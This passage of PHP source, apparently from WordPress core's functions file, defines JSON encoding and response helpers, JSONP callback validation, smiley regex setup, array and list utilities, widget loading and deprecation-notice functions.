!== $json ) { return $json; } try { $value = _wp_json_sanity_check( $value, $depth ); } catch ( Exception $e ) { return false; } return json_encode( $value, $flags, $depth ); } /** * Performs confidence checks on data that shall be encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see wp_json_encode() * * @throws Exception If depth limit is reached. * * @param mixed $value Variable (usually an array or object) to encode as JSON. * @param int $depth Maximum depth to walk through $value. Must be greater than 0. * @return mixed The sanitized data that shall be encoded to JSON. */ function _wp_json_sanity_check( $value, $depth ) { if ( $depth < 0 ) { throw new Exception( 'Reached depth limit' ); } if ( is_array( $value ) ) { $output = array(); foreach ( $value as $id => $el ) { // Don't forget to sanitize the ID! if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } // Check the element type, so that we're only recursing if we really have to. if ( is_array( $el ) || is_object( $el ) ) { $output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output[ $clean_id ] = _wp_json_convert_string( $el ); } else { $output[ $clean_id ] = $el; } } } elseif ( is_object( $value ) ) { $output = new stdClass(); foreach ( $value as $id => $el ) { if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } if ( is_array( $el ) || is_object( $el ) ) { $output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output->$clean_id = _wp_json_convert_string( $el ); } else { $output->$clean_id = $el; } } } elseif ( is_string( $value ) ) { return _wp_json_convert_string( $value ); } else { return $value; } return $output; } /** * Converts a string to UTF-8, so that it can be safely encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see _wp_json_sanity_check() * * @param string $input_string The string which is to be converted. * @return string The checked string. */ function _wp_json_convert_string( $input_string ) { static $use_mb = null; if ( is_null( $use_mb ) ) { $use_mb = function_exists( 'mb_convert_encoding' ); } if ( $use_mb ) { $encoding = mb_detect_encoding( $input_string, mb_detect_order(), true ); if ( $encoding ) { return mb_convert_encoding( $input_string, 'UTF-8', $encoding ); } else { return mb_convert_encoding( $input_string, 'UTF-8', 'UTF-8' ); } } else { return wp_check_invalid_utf8( $input_string, true ); } } /** * Prepares response data to be serialized to JSON. * * This supports the JsonSerializable interface for PHP 5.2-5.3 as well. * * @ignore * @since 4.4.0 * @deprecated 5.3.0 This function is no longer needed as support for PHP 5.2-5.3 * has been dropped. * @access private * * @param mixed $value Native representation. * @return bool|int|float|null|string|array Data ready for `json_encode()`. */ function _wp_json_prepare_data( $value ) { _deprecated_function( __FUNCTION__, '5.3.0' ); return $value; } /** * Sends a JSON response back to an Ajax request. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$flags` parameter was added. * * @param mixed $response Variable (usually an array or object) to encode as JSON, * then print and die. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $flags Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json( $response, $status_code = null, $flags = 0 ) { if ( wp_is_serving_rest_request() ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: WP_REST_Response, 2: WP_Error */ __( 'Return a %1$s or %2$s object from your callback when using the REST API.' ), 'WP_REST_Response', 'WP_Error' ), '5.5.0' ); } if ( ! headers_sent() ) { header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) ); if ( null !== $status_code ) { status_header( $status_code ); } } echo wp_json_encode( $response, $flags ); if ( wp_doing_ajax() ) { wp_die( '', '', array( 'response' => null, ) ); } else { die; } } /** * Sends a JSON response back to an Ajax request, indicating success. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$flags` parameter was added. * * @param mixed $value Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $flags Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json_success( $value = null, $status_code = null, $flags = 0 ) { $response = array( 'success' => true ); if ( isset( $value ) ) { $response['data'] = $value; } wp_send_json( $response, $status_code, $flags ); } /** * Sends a JSON response back to an Ajax request, indicating failure. * * If the `$value` parameter is a WP_Error object, the errors * within the object are processed and output as an array of error * codes and corresponding messages. All other types are output * without further processing. * * @since 3.5.0 * @since 4.1.0 The `$value` parameter is now processed if a WP_Error object is passed in. * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$flags` parameter was added. * * @param mixed $value Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $flags Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json_error( $value = null, $status_code = null, $flags = 0 ) { $response = array( 'success' => false ); if ( isset( $value ) ) { if ( is_wp_error( $value ) ) { $result = array(); foreach ( $value->errors as $code => $messages ) { foreach ( $messages as $message ) { $result[] = array( 'code' => $code, 'message' => $message, ); } } $response['data'] = $result; } else { $response['data'] = $value; } } wp_send_json( $response, $status_code, $flags ); } /** * Checks that a JSONP callback is a valid JavaScript callback name. * * Only allows alphanumeric characters and the dot character in callback * function names. This helps to mitigate XSS attacks caused by directly * outputting user input. * * @since 4.6.0 * * @param string $callback Supplied JSONP callback function name. * @return bool Whether the callback function name is valid. */ function wp_check_jsonp_callback( $callback ) { if ( ! is_string( $callback ) ) { return false; } preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count ); return 0 === $illegal_char_count; } /** * Reads and decodes a JSON file. * * @since 5.9.0 * * @param string $filename Path to the JSON file. * @param array $options { * Optional. Options to be used with `json_decode()`. * * @type bool $associative Optional. When `true`, JSON objects will be returned as associative arrays. * When `false`, JSON objects will be returned as objects. Default false. * } * * @return mixed Returns the value encoded in JSON in appropriate PHP type. * `null` is returned if the file is not found, or its content can't be decoded. */ function wp_json_file_decode( $filename, $options = array() ) { $result = null; $filename = wp_normalize_path( realpath( $filename ) ); if ( ! $filename ) { wp_trigger_error( __FUNCTION__, sprintf( /* translators: %s: Path to the JSON file. */ __( "File %s doesn't exist!" ), $filename ) ); return $result; } $options = wp_parse_args( $options, array( 'associative' => false ) ); $decoded_file = json_decode( file_get_contents( $filename ), $options['associative'] ); if ( JSON_ERROR_NONE !== json_last_error() ) { wp_trigger_error( __FUNCTION__, sprintf( /* translators: 1: Path to the JSON file, 2: Error message. */ __( 'Error when decoding a JSON file at path %1$s: %2$s' ), $filename, json_last_error_msg() ) ); return $result; } return $decoded_file; } /** * Retrieves the WordPress home page URL. * * If the constant named 'WP_HOME' exists, then it will be used and returned * by the function. This can be used to counter the redirection on your local * development environment. * * @since 2.2.0 * @access private * * @see WP_HOME * * @param string $url URL for the home location. * @return string Homepage location. */ function _config_wp_home( $url = '' ) { if ( defined( 'WP_HOME' ) ) { return untrailingslashit( WP_HOME ); } return $url; } /** * Retrieves the WordPress site URL. * * If the constant named 'WP_SITEURL' is defined, then the value in that * constant will always be returned. This can be used for debugging a site * on your localhost while not having to change the database to your URL. * * @since 2.2.0 * @access private * * @see WP_SITEURL * * @param string $url URL to set the WordPress site location. * @return string The WordPress site URL. */ function _config_wp_siteurl( $url = '' ) { if ( defined( 'WP_SITEURL' ) ) { return untrailingslashit( WP_SITEURL ); } return $url; } /** * Deletes the fresh site option. * * @since 4.7.0 * @access private */ function _delete_option_fresh_site() { update_option( 'fresh_site', '0', false ); } /** * Sets the localized direction for MCE plugin. * * Will only set the direction to 'rtl', if the WordPress locale has * the text direction set to 'rtl'. * * Fills in the 'directionality' setting, enables the 'directionality' * plugin, and adds the 'ltr' button to 'toolbar1', formerly * 'theme_advanced_buttons1' array keys. These keys are then returned * in the $mce_init (TinyMCE settings) array. * * @since 2.1.0 * @access private * * @param array $mce_init MCE settings array. * @return array Direction set for 'rtl', if needed by locale. */ function _mce_set_direction( $mce_init ) { if ( is_rtl() ) { $mce_init['directionality'] = 'rtl'; $mce_init['rtl_ui'] = true; if ( ! empty( $mce_init['plugins'] ) && ! str_contains( $mce_init['plugins'], 'directionality' ) ) { $mce_init['plugins'] .= ',directionality'; } if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) { $mce_init['toolbar1'] .= ',ltr'; } } return $mce_init; } /** * Determines whether WordPress is currently serving a REST API request. * * The function relies on the 'REST_REQUEST' global. As such, it only returns true when an actual REST _request_ is * being made. It does not return true when a REST endpoint is hit as part of another request, e.g. for preloading a * REST response. See {@see wp_is_rest_endpoint()} for that purpose. * * This function should not be called until the {@see 'parse_request'} action, as the constant is only defined then, * even for an actual REST request. * * @since 6.5.0 * * @return bool True if it's a WordPress REST API request, false otherwise. */ function wp_is_serving_rest_request() { return defined( 'REST_REQUEST' ) && REST_REQUEST; } /** * Converts smiley code to the icon graphic file equivalent. * * You can turn off smilies, by going to the write setting screen and unchecking * the box, or by setting 'use_smilies' option to false or removing the option. * * Plugins may override the default smiley list by setting the $wpsmiliestrans * to an array, with the key the code the blogger types in and the value the * image file. * * The $wp_smiliessearch global is for the regular expression and is set each * time the function is called. * * The full list of smilies can be found in the function and won't be listed in * the description. Probably should create a Codex page for it, so that it is * available. * * @since 2.2.0 * * @global array $wpsmiliestrans * @global array $wp_smiliessearch */ function smilies_init() { global $wpsmiliestrans, $wp_smiliessearch; // Don't bother setting up smilies if they are disabled. if ( ! get_option( 'use_smilies' ) ) { return; } if ( ! isset( $wpsmiliestrans ) ) { $wpsmiliestrans = array( ':mrgreen:' => 'mrgreen.png', ':neutral:' => "\xf0\x9f\x98\x90", ':twisted:' => "\xf0\x9f\x98\x88", ':arrow:' => "\xe2\x9e\xa1", ':shock:' => "\xf0\x9f\x98\xaf", ':smile:' => "\xf0\x9f\x99\x82", ':???:' => "\xf0\x9f\x98\x95", ':cool:' => "\xf0\x9f\x98\x8e", ':evil:' => "\xf0\x9f\x91\xbf", ':grin:' => "\xf0\x9f\x98\x80", ':idea:' => "\xf0\x9f\x92\xa1", ':oops:' => "\xf0\x9f\x98\xb3", ':razz:' => "\xf0\x9f\x98\x9b", ':roll:' => "\xf0\x9f\x99\x84", ':wink:' => "\xf0\x9f\x98\x89", ':cry:' => "\xf0\x9f\x98\xa5", ':eek:' => "\xf0\x9f\x98\xae", ':lol:' => "\xf0\x9f\x98\x86", ':mad:' => "\xf0\x9f\x98\xa1", ':sad:' => "\xf0\x9f\x99\x81", '8-)' => "\xf0\x9f\x98\x8e", '8-O' => "\xf0\x9f\x98\xaf", ':-(' => "\xf0\x9f\x99\x81", ':-)' => "\xf0\x9f\x99\x82", ':-?' => "\xf0\x9f\x98\x95", ':-D' => "\xf0\x9f\x98\x80", ':-P' => "\xf0\x9f\x98\x9b", ':-o' => "\xf0\x9f\x98\xae", ':-x' => "\xf0\x9f\x98\xa1", ':-|' => "\xf0\x9f\x98\x90", ';-)' => "\xf0\x9f\x98\x89", // This one transformation breaks regular text with frequency. // '8)' => "\xf0\x9f\x98\x8e", '8O' => "\xf0\x9f\x98\xaf", ':(' => "\xf0\x9f\x99\x81", ':)' => "\xf0\x9f\x99\x82", ':?' => "\xf0\x9f\x98\x95", ':D' => "\xf0\x9f\x98\x80", ':P' => "\xf0\x9f\x98\x9b", ':o' => "\xf0\x9f\x98\xae", ':x' => "\xf0\x9f\x98\xa1", ':|' => "\xf0\x9f\x98\x90", ';)' => "\xf0\x9f\x98\x89", ':!:' => "\xe2\x9d\x97", ':?:' => "\xe2\x9d\x93", ); } /** * Filters all the smilies. * * This filter must be added before `smilies_init` is run, as * it is normally only run once to setup the smilies regex. * * @since 4.7.0 * * @param string[] $wpsmiliestrans List of the smilies' hexadecimal representations, keyed by their smily code. */ $wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans ); if ( count( $wpsmiliestrans ) === 0 ) { return; } /* * NOTE: we sort the smilies in reverse key order. This is to make sure * we match the longest possible smilie (:???: vs :?) as the regular * expression used below is first-match */ krsort( $wpsmiliestrans ); $spaces = wp_spaces_regexp(); // Begin first "subpattern". $wp_smiliessearch = '/(?<=' . $spaces . '|^)'; $subchar = ''; foreach ( (array) $wpsmiliestrans as $smiley => $img ) { $firstchar = substr( $smiley, 0, 1 ); $rest = substr( $smiley, 1 ); // New subpattern? if ( $firstchar !== $subchar ) { if ( '' !== $subchar ) { $wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern". $wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern". } $subchar = $firstchar; $wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:'; } else { $wp_smiliessearch .= '|'; } $wp_smiliessearch .= preg_quote( $rest, '/' ); } $wp_smiliessearch .= ')(?=' . $spaces . '|$)/m'; } /** * Merges user defined arguments into defaults array. * * This function is used throughout WordPress to allow for both string or array * to be merged into another array. * * @since 2.2.0 * @since 2.3.0 `$args` can now also be an object. * * @param string|array|object $args Value to merge with $defaults. * @param array $defaults Optional. Array that serves as the defaults. * Default empty array. * @return array Merged user defined values with defaults. */ function wp_parse_args( $args, $defaults = array() ) { if ( is_object( $args ) ) { $parsed_args = get_object_vars( $args ); } elseif ( is_array( $args ) ) { $parsed_args =& $args; } else { wp_parse_str( $args, $parsed_args ); } if ( is_array( $defaults ) && $defaults ) { return array_merge( $defaults, $parsed_args ); } return $parsed_args; } /** * Converts a comma- or space-separated list of scalar values to an array. * * @since 5.1.0 * * @param array|string $input_list List of values. * @return array Array of values. */ function wp_parse_list( $input_list ) { if ( ! is_array( $input_list ) ) { return preg_split( '/[\s,]+/', $input_list, -1, PREG_SPLIT_NO_EMPTY ); } // Validate all entries of the list are scalar. $input_list = array_filter( $input_list, 'is_scalar' ); return $input_list; } /** * Cleans up an array, comma- or space-separated list of IDs. * * @since 3.0.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $input_list List of IDs. * @return int[] Sanitized array of IDs. */ function wp_parse_id_list( $input_list ) { $input_list = wp_parse_list( $input_list ); return array_unique( array_map( 'absint', $input_list ) ); } /** * Cleans up an array, comma- or space-separated list of slugs. * * @since 4.7.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $input_list List of slugs. * @return string[] Sanitized array of slugs. */ function wp_parse_slug_list( $input_list ) { $input_list = wp_parse_list( $input_list ); return array_unique( array_map( 'sanitize_title', $input_list ) ); } /** * Extracts a slice of an array, given a list of keys. * * @since 3.1.0 * * @param array $input_array The original array. * @param array $keys The list of keys. * @return array The array slice. */ function wp_array_slice_assoc( $input_array, $keys ) { $slice = array(); foreach ( $keys as $key ) { if ( isset( $input_array[ $key ] ) ) { $slice[ $key ] = $input_array[ $key ]; } } return $slice; } /** * Sorts the keys of an array alphabetically. * * The array is passed by reference so it doesn't get returned * which mimics the behavior of `ksort()`. * * @since 6.0.0 * * @param array $input_array The array to sort, passed by reference. */ function wp_recursive_ksort( &$input_array ) { foreach ( $input_array as &$value ) { if ( is_array( $value ) ) { wp_recursive_ksort( $value ); } } ksort( $input_array ); } /** * Accesses an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.get()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $input_array = array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * _wp_array_get( $input_array, array( 'a', 'b', 'c' ) ); * * @internal * * @since 5.6.0 * @access private * * @param array $input_array An array from which we want to retrieve some information. * @param array $path An array of keys describing the path with which to retrieve information. * @param mixed $default_value Optional. The return value if the path does not exist within the array, * or if `$input_array` or `$path` are not arrays. Default null. * @return mixed The value from the path specified. */ function _wp_array_get( $input_array, $path, $default_value = null ) { // Confirm $path is valid. if ( ! is_array( $path ) || 0 === count( $path ) ) { return $default_value; } foreach ( $path as $path_element ) { if ( ! is_array( $input_array ) ) { return $default_value; } if ( is_string( $path_element ) || is_integer( $path_element ) || null === $path_element ) { /* * Check if the path element exists in the input array. * We check with `isset()` first, as it is a lot faster * than `array_key_exists()`. */ if ( isset( $input_array[ $path_element ] ) ) { $input_array = $input_array[ $path_element ]; continue; } /* * If `isset()` returns false, we check with `array_key_exists()`, * which also checks for `null` values. */ if ( array_key_exists( $path_element, $input_array ) ) { $input_array = $input_array[ $path_element ]; continue; } } return $default_value; } return $input_array; } /** * Sets an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.set()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $input_array = array(); * _wp_array_set( $input_array, array( 'a', 'b', 'c', 1 ) ); * * $input_array becomes: * array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * * @internal * * @since 5.8.0 * @access private * * @param array $input_array An array that we want to mutate to include a specific value in a path. * @param array $path An array of keys describing the path that we want to mutate. * @param mixed $value The value that will be set. */ function _wp_array_set( &$input_array, $path, $value = null ) { // Confirm $input_array is valid. if ( ! is_array( $input_array ) ) { return; } // Confirm $path is valid. if ( ! is_array( $path ) ) { return; } $path_length = count( $path ); if ( 0 === $path_length ) { return; } foreach ( $path as $path_element ) { if ( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) { return; } } for ( $i = 0; $i < $path_length - 1; ++$i ) { $path_element = $path[ $i ]; if ( ! array_key_exists( $path_element, $input_array ) || ! is_array( $input_array[ $path_element ] ) ) { $input_array[ $path_element ] = array(); } $input_array = &$input_array[ $path_element ]; } $input_array[ $path[ $i ] ] = $value; } /** * This function is trying to replicate what * lodash's kebabCase (JS library) does in the client. * * The reason we need this function is that we do some processing * in both the client and the server (e.g.: we generate * preset classes from preset slugs) that needs to * create the same output. * * We can't remove or update the client's library due to backward compatibility * (some of the output of lodash's kebabCase is saved in the post content). * We have to make the server behave like the client. * * Changes to this function should follow updates in the client * with the same logic. * * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369 * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278 * @link https://github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php * @link https://github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php * * @param string $input_string The string to kebab-case. * * @return string kebab-cased-string. */ function _wp_to_kebab_case( $input_string ) { // Ignore the camelCase names for variables so the names are the same as lodash so comparing and porting new changes is easier. // phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase /* * Some notable things we've removed compared to the lodash version are: * * - non-alphanumeric characters: rsAstralRange, rsEmoji, etc * - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper * */ /** Used to compose unicode character classes. */ $rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff'; $rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf'; $rsPunctuationRange = '\\x{2000}-\\x{206f}'; $rsSpaceRange = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}'; $rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde'; $rsBreakRange = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange; /** Used to compose unicode capture groups. */ $rsBreak = '[' . $rsBreakRange . ']'; $rsDigits = '\\d+'; // The last lodash version in GitHub uses a single digit here and expands it when in use. $rsLower = '[' . $rsLowerRange . ']'; $rsMisc = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']'; $rsUpper = '[' . $rsUpperRange . ']'; /** Used to compose unicode regexes. */ $rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')'; $rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')'; $rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])'; $rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])'; $regexp = '/' . implode( '|', array( $rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')', $rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')', $rsUpper . '?' . $rsMiscLower . '+', $rsUpper . '+', $rsOrdUpper, $rsOrdLower, $rsDigits, ) ) . '/u'; preg_match_all( $regexp, str_replace( "'", '', $input_string ), $matches ); return strtolower( implode( '-', $matches[0] ) ); // phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase } /** * Determines if the variable is a numeric-indexed array. * * @since 4.4.0 * * @param mixed $data Variable to check. * @return bool Whether the variable is a list. */ function wp_is_numeric_array( $data ) { if ( ! is_array( $data ) ) { return false; } $keys = array_keys( $data ); $string_keys = array_filter( $keys, 'is_string' ); return count( $string_keys ) === 0; } /** * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * When using the `$field` argument, this function can also retrieve * a particular field from all matching objects, whereas wp_list_filter() * only does the filtering. * * @since 3.0.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $input_list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @param bool|string $field Optional. A field from the object to place instead * of the entire object. Default false. * @return array A list of objects or object fields. */ function wp_filter_object_list( $input_list, $args = array(), $operator = 'and', $field = false ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); $util->filter( $args, $operator ); if ( $field ) { $util->pluck( $field ); } return $util->get_output(); } /** * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * If you want to retrieve a particular field from all matching objects, * use wp_filter_object_list() instead. * * @since 3.1.0 * @since 4.7.0 Uses `WP_List_Util` class. * @since 5.9.0 Converted into a wrapper for `wp_filter_object_list()`. * * @param array $input_list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ function wp_list_filter( $input_list, $args = array(), $operator = 'AND' ) { return wp_filter_object_list( $input_list, $args, $operator ); } /** * Plucks a certain field out of each object or array in an array. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 3.1.0 * @since 4.0.0 $index_key parameter added. * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $input_list List of objects or arrays. * @param int|string $field Field from the object to place instead of the entire object. * @param int|string $index_key Optional. Field from the object to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$input_list` will be preserved in the results. */ function wp_list_pluck( $input_list, $field, $index_key = null ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); return $util->pluck( $field, $index_key ); } /** * Sorts an array of objects or arrays based on one or more orderby arguments. * * @since 4.7.0 * * @param array $input_list An array of objects or arrays to sort. * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as `$orderby => $order`. * Default empty array. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if `$orderby` * is a string. Default 'ASC'. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ function wp_list_sort( $input_list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); return $util->sort( $orderby, $order, $preserve_keys ); } /** * Determines if Widgets library should be loaded. * * Checks to make sure that the widgets library hasn't already been loaded. * If it hasn't, then it will load the widgets library and run an action hook. * * @since 2.2.0 */ function wp_maybe_load_widgets() { /** * Filters whether to load the Widgets library. * * Returning a falsey value from the filter will effectively short-circuit * the Widgets library from loading. * * @since 2.8.0 * * @param bool $wp_maybe_load_widgets Whether to load the Widgets library. * Default true. */ if ( ! apply_filters( 'load_default_widgets', true ) ) { return; } require_once ABSPATH . WPINC . '/default-widgets.php'; add_action( '_admin_menu', 'wp_widgets_add_menu' ); } /** * Appends the Widgets menu to the themes main menu. * * @since 2.2.0 * @since 5.9.3 Don't specify menu order when the active theme is a block theme. * * @global array $submenu */ function wp_widgets_add_menu() { global $submenu; if ( ! current_theme_supports( 'widgets' ) ) { return; } $menu_name = __( 'Widgets' ); if ( wp_is_block_theme() ) { $submenu['themes.php'][] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } else { $submenu['themes.php'][8] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } ksort( $submenu['themes.php'], SORT_NUMERIC ); } /** * Flushes all output buffers for PHP 5.2. * * Make sure all output buffers are flushed before our singletons are destroyed. * * @since 2.2.0 */ function wp_ob_end_flush_all() { $levels = ob_get_level(); for ( $i = 0; $i < $levels; $i++ ) { ob_end_flush(); } } /** * Loads custom DB error or display WordPress DB error. * * If a file exists in the wp-content directory named db-error.php, then it will * be loaded instead of displaying the WordPress DB error. If it is not found, * then the WordPress DB error will be displayed instead. * * The WordPress DB error sets the HTTP status header to 500 to try to prevent * search engines from caching the message. Custom DB messages should do the * same. * * This function was backported to WordPress 2.3.2, but originally was added * in WordPress 2.5.0. * * @since 2.3.2 * * @global wpdb $wpdb WordPress database abstraction object. */ function dead_db() { global $wpdb; wp_load_translations_early(); // Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } // If installing or in the admin, provide the verbose message. if ( wp_installing() || defined( 'WP_ADMIN' ) ) { wp_die( $wpdb->error ); } // Otherwise, be terse. wp_die( '

    ' . __( 'Error establishing a database connection' ) . '

    ', __( 'Database Error' ) ); } /** * Marks a function as deprecated and inform when it has been used. * * There is a {@see 'deprecated_function_run'} hook that will be called that can be used * to get the backtrace up to what file and function called the deprecated function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every function that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function_name The function that was called. * @param string $version The version of WordPress that deprecated the function. * @param string $replacement Optional. The function that should have been called. Default empty string. */ function _deprecated_function( $function_name, $version, $replacement = '' ) { /** * Fires when a deprecated function is called. * * @since 2.5.0 * * @param string $function_name The function that was called. * @param string $replacement The function that should have been called. * @param string $version The version of WordPress that deprecated the function. */ do_action( 'deprecated_function_run', $function_name, $replacement, $version ); /** * Filters whether to trigger an error for deprecated functions. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $replacement ) { $message = sprintf( /* translators: 1: PHP function name, 2: Version number, 3: Alternative function name. */ __( 'Function %1$s is deprecated since version %2$s! Use %3$s instead.' ), $function_name, $version, $replacement ); } else { $message = sprintf( /* translators: 1: PHP function name, 2: Version number. */ __( 'Function %1$s is deprecated since version %2$s with no alternative available.' ), $function_name, $version ); } } else { if ( $replacement ) { $message = sprintf( 'Function %1$s is deprecated since version %2$s! Use %3$s instead.', $function_name, $version, $replacement ); } else { $message = sprintf( 'Function %1$s is deprecated since version %2$s with no alternative available.', $function_name, $version ); } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } /** * Marks a constructor as deprecated and informs when it has been used. * * Similar to _deprecated_function(), but with different strings. Used to * remove PHP4-style constructors. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every PHP4-style constructor method that is deprecated. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $class_name The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class Optional. The parent class calling the deprecated constructor. * Default empty string. */ function _deprecated_constructor( $class_name, $version, $parent_class = '' ) { /** * Fires when a deprecated constructor is called. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * * @param string $class_name The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class The parent class calling the deprecated constructor. */ do_action( 'deprecated_constructor_run', $class_name, $version, $parent_class ); /** * Filters whether to trigger an error for deprecated functions. * * `WP_DEBUG` must be true in addition to the filter evaluating to true. * * @since 4.3.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $parent_class ) { $message = sprintf( /* translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. */ __( 'The called constructor method for %1$s class in %2$s is deprecated since version %3$s! Use %4$s instead.' ), $class_name, $parent_class, $version, '__construct()' ); } else { $message = sprintf( /* translators: 1: PHP class name, 2: Version number, 3: __construct() method. */ __( 'The called constructor method for %1$s class is deprecated since version %2$s! Use %3$s instead.' ), $class_name, $version, '__construct()' ); } } else { if ( $parent_class ) { $message = sprintf( 'The called constructor method for %1$s class in %2$s is deprecated since version %3$s! Use %4$s instead.', $class_name, $parent_class, $version, '__construct()' ); } else { $message = sprintf( 'The called constructor method for %1$s class is deprecated since version %2$s! Use %3$s instead.', $class_name, $version, 